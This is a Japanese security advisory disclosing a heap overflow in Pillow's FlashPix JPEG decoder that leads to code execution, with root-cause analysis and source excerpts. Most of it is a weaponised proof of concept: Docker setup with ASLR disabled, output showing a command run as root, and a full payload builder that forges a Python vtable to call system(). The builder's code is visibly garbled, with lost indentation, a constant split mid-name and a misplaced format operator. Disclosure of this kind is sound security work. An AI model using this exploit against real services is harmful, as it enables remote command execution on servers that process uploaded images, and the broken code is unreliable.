Pillow: FlashPix (FPX) JPEG デコードにおけるヒープバッファオーバーフローにより、コード実行が可能になる
### 貢献者
**研究者**: Alex Bouffard (mixbo@pebwalker.com)
### 概要
Pillow の FlashPix (FPX) JPEG タイルデコーダにおけるヒープバッファオーバーフローにより、攻撃者は、アプリケーションに `Image.open()` を使用して単一の悪意のあるファイルを開かせ、任意のコードを実行させることができます。ファイルは拡張子ではなく、内容(OLE2 のマジックナンバー)によって認識されます。そのため、オプションの `olefile` パッケージがインストールされている状態で、信頼できないアップロードを開いたり、サムネイルを作成したりするサービスは、ユーザーの操作なしで攻撃を受ける可能性があります。以下の PoC では、1つの悪意のあるファイルを開くことで、Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39) 上で、攻撃者が指定したコマンドが実行されます。
### 詳細
`FpxImagePlugin` は、OLE2/CFBF 複合ドキュメントである FlashPix (FPX) ファイルをデコードします。
`Image.open()` は、オプションの `olefile` パッケージがインストールされている場合、ファイルの拡張子に関係なく、OLE2 のマジックナンバー `D0CF11E0...` から自動的にファイルを認識します(Pillow の FPX/MIC サポートのための公式な依存関係)。
JPEG で圧縮されたサブイメージの場合 (`compression == 2`)、プラグインは `"jpeg"` デコードタイルを構築し、攻撃者が制御する FPX カラー ID から `(rawmode, jpegmode)` のペアを、`MODES` テーブルを通じて取得します ([`src/PIL/FpxImagePlugin.py` L25-L32](https://github.com/python-pillow/Pillow/blob/12.2.0/src/PIL/FpxImagePlugin.py#L25-L32)):
```python
MODES = {
...
(0x00018000, 0x00017FFE): ("RGBA", "LA"), # rawmode "LA" (2 bytes/pixel)
...
(0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"), # rawmode "YCC;P"
}
```
タイルのイメージング出力バッファのサイズは、rawmode (ここでは `"LA"` = 1ピクセルあたり 2 バイト) に基づいて決定されます ([`src/decode.c` L223-L226](https://github.com/python-pillow/Pillow/blob/12.2.0/src/decode.c#L223-L226)):
```c
state->bytes = (state->bits * state->xsize + 7) / 8; // "LA" は 1 行あたり 2 * xsize バイト
...
state->buffer = (UINT8 *)calloc(1, state->bytes);
```
`JpegDecode.c`において、`rawmode`文字列はlibjpegの`out_color_space`にマッピングされます。認識されるモード(`CMYK`、`YCbCr`、`YCbCrK`など)は具体的なカラースペースに割り当てられますが、`"LA"`と`"YCC;P"`は認識されないため、フォールバックの処理に移行します([`src/libImaging/JpegDecode.c` L219-L221](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L219-L221))。
```c
/* デコーダーの変換を無効にする。 */
context->cinfo.jpeg_color_space = JCS_UNKNOWN;
context->cinfo.out_color_space = JCS_UNKNOWN;
```
`JCS_UNKNOWN`の場合、libjpegはカラー変換を行わず、JPEGファイルに埋め込まれたSOFマーカーから取得されるコンポーネント数(攻撃者が4に設定)に基づいて、1ピクセルあたり`cinfo.num_components`バイトを出力します。したがって、`jpeg_read_scanlines`は、`2 * width`バイトしか割り当てられていないバッファに、1行あたり`4 * width`バイトを書き込みます([`src/libImaging/JpegDecode.c` L252](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L252))。
```c
ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1); // 4*Wを2*Wのバッファに書き込む
```
これは、攻撃者が制御する長さ(画像の幅、最大数万ピクセル、つまり1行あたり約`2 * width`バイトのオーバーフロー)で、攻撃者が制御する内容(デコードされたピクセルデータ)を持つ、ヒープ領域への境界外書き込みです。この脆弱性をPoC(Proof of Concept:概念実証)が悪用します。オーバーフローによって、隣接するPythonの`bytes`オブジェクトの`ob_type`が、同じオーバーフローによってデコードバッファ内に配置される偽の`PyTypeObject` / `PyBufferProcs` vtableへのポインタで上書きされます。Pillowが入力バッファを解放する際、`PyBuffer_Release`は`ob_type -> tp_as_buffer -> bf_releasebuffer`を呼び出し、`call *rax`を実行します。PoCは、この`rax`レジスタに`system@plt`(固定、インタプリタのバイナリはPIEではない)を指すように設定し、`rdi`レジスタにコマンド文字列を設定することで、コマンド実行を実現します。
### PoC
x86_64マシンでの正確な再現を容易にするため、このPoCは、[付録A](#annex-a-docker-setup)にある、バージョン固定され、ASLRが無効になっているDockerイメージを使用します。
ペイロード生成スクリプト `make_payload.py` のソースコードは、[付録B](#annex-b-payload-builder-source) にあります。
`vulnerable.py` は、テスト対象のプログラムで、与えられたファイルを読み込むだけのシンプルなスクリプトです。
```python
#!/usr/bin/env python3
# アプリケーションが信頼できないファイルに対して行う、脆弱な操作全体。
import sys
from PIL import Image
Image.open(sys.argv[1]).load()
```
ペイロードは、攻撃者が自身の環境で作成するスタンドアロンの `.fpx` ファイルです。ターゲットは作成されたファイルを開くだけなので、ペイロードの生成にはターゲットへのアクセスやコード実行は必要ありません。ここでは、`make_payload.py` を同じコンテナ内で実行するのは、あくまで利便性のためで、組み込みのアドレス (`--offset`, `system@plt`) が、この固定イメージと一致するようにしています。ペイロードは、ハイジャックされた間接呼び出しを `system@plt` (`0x4206c0`, インタープリタのバイナリが非 PIE であるため固定) にリダイレクトし、組み込みのコマンドを実行します。
```console
$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx
[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0
[control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id'
```
次に、`vulnerable.py` でファイルを開きます。
```console
$ python3 vulnerable.py shell.fpx
uid=0(root) gid=0(root) groups=0(root)
corrupted size vs. prev_size
```
作成されたファイルに対する `Image.open()` の呼び出しは、組み込みのコマンドを `system("id")` を介して実行します。これにより、イメージ処理を実行しているユーザー (コンテナ内では root) としてコマンドが実行されます。
末尾に表示される `corrupted size vs. prev_size` は、`id` がすでに実行された後、インタープリタの終了時に、破損したヒープによって glibc が異常終了したことを示しています。
ペイロード生成ツールは、コマンドをハイジャックされた `rdi` に直接書き込むため、`--cmd` は 7 バイト以内の文字列に制限されます (例: `id`, `id;w`)。`--offset` と `system@plt` は、ASLR が無効になっている固定イメージの定数であり、実行ごとに変わりません。
### 影響
これは、ヒープベースのバッファオーバーフロー(CWE-122)/ 境界外への書き込み(CWE-787)であり、コード実行につながるものです。攻撃者が操作したファイルをPillowで開くアプリケーションやサービスで、オプションの`olefile`依存関係がインストールされている場合に影響があります。具体的には、画像アップロードおよびサムネイル生成サービス、アバターおよびメディア処理、ドキュメントおよび画像変換パイプラインなどが該当します。検出はファイル拡張子ではなく、OLE2の特定のパターンに基づいているため、オーバーフローは通常の`Image.open()`/`load`操作中に発生します。そのため、アップロードされたファイルを自動的に処理するサーバーは、ユーザーの操作なしで攻撃を受ける可能性があります。その結果、画像処理を実行しているプロセスのコンテキストで任意のコマンドが実行され、そのプロセスと、そのプロセスが保持するデータおよび権限が完全に侵害される可能性があります。
### 付録A:Dockerの設定
このPoCは、環境を決定的にするために、固定されたDockerイメージ上で実行されます。このイメージには、特定のバージョンのPython (3.12.3) とPillow 12.2.0のwheelがインストールされており、ビルダはPillowのみを使用します。イメージのエントリーポイントは、システムに関する知識要件を減らすために、ASLRを無効にします (`setarch -R`)。`docker run`コマンドにおける単一の`--security-opt seccomp=unconfined`フラグは、ASLRを無効にすると、Dockerのデフォルトのseccompプロファイルでブロックされている`personality()`システムコールが使用されるため、必要となります。この実行は、所有するインフラストラクチャでのみ行ってください。
**1. イメージのビルド:** `vulnerable.py` (PoC) と `make_payload.py`
([付録B](#annex-b-payload-builder-source))を、以下の`Dockerfile`を含むディレクトリに配置します。
```dockerfile
FROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates \
python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \
&& rm -rf /var/lib/apt/lists/*
RUN python3.12 -m venv /opt/v \
&& /opt/v/bin/pip install --no-cache-dir "Pillow==12.2.0" "olefile==0.47"
ENV PATH=/opt/v/bin:$PATH
WORKDIR /poc
# ASLRは、このバグとは無関係なOSの緩和策です。決定論的なヒープのために、このイメージ内でASLRを無効にします。
ENTRYPOINT ["setarch", "-R"]
CMD ["bash"]
```
```console
$ docker build -t fjpeg1-poc .
...
Downloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB)
Successfully installed Pillow-12.2.0 olefile-0.47
Successfully built 370344c832b6
Successfully tagged fjpeg1-poc:latest
```
**2. (ASLRを無効にした)コンテナのシェルを起動します。** スクリプトをマウントします。
```sh
docker run --rm -it --security-opt seccomp=unconfined -v "$PWD:/poc" -w /poc fjpeg1-poc
```
### 付録B: ペイロード生成元
`make_payload.py`:
```python
#!/usr/bin/env python3
"""F-JPEG-1ペイロードジェネレータ (0-ASLR環境向け、x86_64 + glibc)。純粋なPillowを使用 (ネイティブツールチェーンは不要)。
.fpxファイルを作成します。このファイルには、PillowのFpxImagePlugin -> JCS_UNKNOWNによってデコードされる4コンポーネントのJPEGが埋め込まれています。
デコードバッファのオーバーフローが発生し、隣接するオブジェクトのob_typeが上書きされます。
--crash 隣接するob_typeを0x42で埋め尽くします -> PyBuffer_ReleaseでSIGSEGVが発生
(デフォルト) CONTROL: 固定された(ASLRなし)アドレスに仮想テーブルを偽装します -> *--targetを呼び出す
デフォルトでは、ASLRが無効になっているDockerイメージをターゲットにします (setarch -R)。 --helpを参照してください。"""
import sys, io, struct, math, argparse
from PIL import Image
```
W, H = 65000, 2
SECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748
FREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF
FPX_CLSID = bytes.fromhex("0067615654C1CE11855300AA00A1F95B")
o32 = lambda v: struct.pack("<I", v)
p64 = lambda v: struct.pack("<Q", v)
INV = bytes(255 - i for i in range(256)) # 8ビットの反転テーブル
def jpeg(src):
b = io.BytesIO()
Image.frombytes("CMYK", (W, H), bytes(src)).save(b, "JPEG", quality=100, subsampling=0)
return b.getvalue()
def decode_row(jpg):
# 脆弱なJCS_UNKNOWNパスがデコードする内容を予測します。Pillow自体を使用します。JCS_UNKNOWNは、生のJPEGコンポーネントRを出力しますが、Pillow自身のCMYKデコードは、同じファイルから255 - R (Adobe-CMYKの反転)を返します。したがって、255 - Image.open(jpg)は、まさに脆弱な出力です。最後にデコードされた行が、バッファに格納され、オーバーフローを引き起こします。
px = Image.open(io.BytesIO(jpg)).tobytes()
return px[(H - 1) * W * 4:].translate(INV)
def craft(targets, iters=40): # デコード・フィードバックによる正確な書き込み (JPEGは非可逆圧縮なので、収束するまで繰り返す)
# ベースの値を0xBDに設定 -> 0x42にデコードされるため、オーバーフローする領域が、クラッシュ時のパターンと一致します。
# (均一な0x42は、早すぎるglibcのfree()による異常終了を回避します)。
src = bytearray(b"\xbd" * (W * H * 4)); base = (H - 1) * W * 4; it = 0
for off, t in targets:
for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v
for it in range(iters):
dec = decode_row(jpeg(src)); bad = 0
for off, t in targets:
for i, v in enumerate(t):
if dec[off + i] != v:
bad += 1
src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v))
if not bad: break
return jpeg(src), it, bad
```
def maxid_for(w, h):
s, i = max(w, h), 1
while s > 64: s //= 2; i += 1
return i - 1
MAXID = maxid_for(W, H); RESNAME = "Resolution %04d" % MAXID
def image_contents():
ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b
cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE) # FPX color -> rawmode "LA"
props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID << 16), blob(cb))]
voff = 8 + 8 * len(props); idx = vals = b""
for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v)
body = o32(len(props)) + idx + vals
return (struct.pack("<HHI", 0xFFFE, 0, 0x00020005) + b"\x00" * 16 + o32(1) + b"\x00" * 16
+ o32(48) + o32(len(body) + 4) + body)
def subimage_header():
b = bytearray(80)
for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2),
(56, 36), (60, 16), (64, 0), (72, 2)]:
struct.pack_into("<I", b, o, v)
return bytes(b)
```
def build_fpx(jpg, out):
data = b"\x00" * 28 + jpg
assert len(data) <= DATA_PAD, (len(data), DATA_PAD)
pad = lambda x: x + b"\x00" * ((-len(x)) % SECT)
sd = {"ic": pad(image_contents().ljust(4096, b"\x00")),
"hdr": pad(subimage_header().ljust(4096, b"\x00")),
"dat": pad(data.ljust(DATA_PAD, b"\x00"))}
ns = lambda x: len(x) // SECT; order = ["ic", "dat", "hdr"]
dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order)
fsec = 1
while fsec * 128 < fsec + content: fsec += 1
pos = {}; cur = fsec; dstart = cur; cur += dsec
for k in order: pos[k] = cur; cur += ns(sd[k])
total = cur
fat = [FREESECT] * (fsec * 128)
for s in range(fsec): fat[s] = FATSECT
def chain(a, n):
for j in range(n): fat[a + j] = a + j + 1 if j < n - 1 else ENDOFCHAIN
chain(dstart, dsec)
for k in order: chain(pos[k], ns(sd[k]))
def de(nm, t, ch, l, r, st, sz, cl=b"\x00" * 16):
n = (nm.encode("utf-16-le") + b"\x00\x00").ljust(64, b"\x00")[:64]
return (n + struct.pack("<HBB", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r)
+ o32(ch) + cl + o32(0) + b"\x00" * 16 + o32(st) + struct.pack("<Q", sz))
directory = pad(b"".join([
de("Root Entry", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID),
de("Data Object Store 000001", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
de("\x05Image Contents", 2, NOSTREAM, NOSTREAM, 3, pos["ic"], len(sd["ic"])),
de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
de("Subimage 0000 Data", 2, NOSTREAM, NOSTREAM, 5, pos["dat"], len(sd["dat"])),
de("Subimage 0000 Header", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos["hdr"], len(sd["hdr"]))]))
h = bytearray(512); h[0:8] = bytes.fromhex("D0CF11E0A1B11AE1")
for o, fmt, *v in [(24, "<HH", 0x3E, 3), (28, "<H", 0xFFFE), (30, "<HH", 9, 6), (44, "<I", fsec),
(48, "<I", dstart), (56, "<I", 4096), (60, "<I", ENDOFC
HAIN), (68, "<I", ENDOFCHAIN)]:
struct.pack_into(fmt, h, o, *v)
for i in range(109): struct.pack_into("<I", h, 76 + i * 4, i if i < fsec else FREESECT)
secs = [b""] * total
for s in range(fsec): secs[s] = b"".join(o32(x) for x in fat[s * 128:(s + 1) * 128])
for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT]
for k in order:
for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT]
open(out, "wb").write(bytes(h) + b"".join(secs))
def xhex(s): return int(s, 16)
SYSTEM_PLT = 0x4206c0 # system@plt in the image's non-PIE python3.12 (固定、libcのリークなし)
def main():
ap = argparse.ArgumentParser(description="F-JPEG-1 .fpx ペイロード構築ツール (0-ASLR環境)")
ap.add_argument("--out", required=True, help="出力する .fpx ファイルのパス")
ap.add_argument("--crash", action="store_true",
help="クラッシュモード: 隣接する ob_type を 0x42... で埋め込み、SIGSEGV を発生させる (アドレスは表示されない)")
ap.add_argument("--heap-base", type=xhex, default=0xbaa000,
help="0-ASLR 環境における固定ヒープベース (デフォルト: 0xbaa000)")
ap.add_argument("--offset", type=xhex, default=0x21e800,
help="state->buffer - heap_base (デフォルト: 0x21e800 -> S=0xdc8800)")
ap.add_argument("--target", type=xhex, default=SENTINEL,
help="乗っ取られた vtable を経由して呼び出される値。コマンド実行のために %#x (system@plt) を指定してください (デフォルトは、RIP制御デモ用のダミー値)") % SYSTEM_PLT
ap.add_argument("--cmd", default="id",
help="system() が実行するコマンド。obj+0 / rdi にインラインで記述 (最大7バイト、例: id, id;w)")
a = ap.parse_args()
if a.crash:
# PillowのCMYK JPEGデコーダは、逆順でデコードします(デコードされた値 = 255 - 元の値)。そのため、ソースの0xBDを埋め込みます。
# これにより、デコードされたバイトがオーバーフローし、0x42になり、隣接するob_typeが0x4242424242424242になります。
build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out)
print("[crash] %s: これを開くと、隣接するob_typeが0x4242424242424242で上書きされ、PyBuffer_ReleaseでSIGSEGVが発生します(アドレスは表示されません)" % a.out)
return
if len(a.cmd.encode()) > 7:
sys.exit("--cmdは7バイト以下である必要があります(これはobj+0の位置に、ob_typeの前に書き込まれます)")
S = a.heap_base + a.offset
A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000 # spray A = 偽の型、spray B = ターゲット
tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)),
(OB_TYPE_OFF - 8, a.cmd.encode() + b"\x00")] # obj+0 -> system()のためのrdi
tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)] # 偽の型 -> +0xa0から+8までの領域にspray B
tg += [(o, p64(a.target)) for o in range(B0, B1, 8)]
jpg, it, bad = craft(tg)
build_fpx(jpg, a.out)
print("[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d"
% (a.out, S, a.target, a.cmd, it, bad))
print("[control] これを開くと:vtableの乗っ取り -> rdiで*%#xを呼び出す -> %r" % (a.target, a.cmd))
if __name__ == "__main__":
main()
影響を受けるパッケージ:
- pip (Python) pillow: 影響を受けるバージョンは12.3.0以下、13.0.0で修正済み。